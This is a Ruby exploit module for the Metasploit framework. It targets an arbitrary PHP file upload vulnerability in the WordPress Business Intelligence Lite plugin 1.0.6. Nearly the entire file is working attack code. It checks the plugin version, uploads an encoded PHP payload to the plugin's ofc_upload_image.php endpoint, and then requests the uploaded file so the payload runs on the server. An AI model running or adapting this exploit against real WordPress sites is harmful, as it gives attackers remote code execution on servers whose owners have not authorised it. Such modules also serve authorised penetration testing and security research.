##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'WordPress Business Intelligence Lite File Upload',
      'Description'    => %q{
          The WordPress Business Intelligence Lite plugin contains an file upload
          vulnerability. We can upload arbitrary files to the upload folder, because
          the plugin also uses it's own file upload mechanism instead of the wordpress
          api it's possible to upload any file type.
      },
      'Author'         =>
        [
          'Manish Kishan Tanwar', # Vulnerability Discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'     # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['WPVDB', '7200'],
          ['URL', 'http://packetstormsecurity.com/files/125927/']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['WP Business Intelligence Lite 1.0.6', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 31 2014')) # Secunia?
  end

  def check
    check_plugin_version_from_readme('wp-business-intelligence-lite', '1.1')
  end

  def exploit
    print_status("#{peer} - Trying to upload payload")
    filename = "#{rand_text_alpha_lower(6)}.php"

    print_status("#{peer} - Uploading payload")
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_plugins, 'wp-business-intelligence-lite', 'resources', 'open-flash-chart', 'php-ofc-library', 'ofc_upload_image.php'),
      'ctype'    => 'text/plain',
      'vars_get' => {
        'name'   => "#{filename}"
      },
      'data' => payload.encoded
    )

    if res
      if res.code == 200
        register_files_for_cleanup(filename)
      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    print_status("#{peer} - Calling uploaded file #{filename}")
    send_request_cgi(
      { 'uri'    => normalize_uri(wordpress_url_plugins, 'wp-business-intelligence-lite', 'resources', 'open-flash-chart', 'tmp-upload-images', filename) },
      5
    )
  end
end
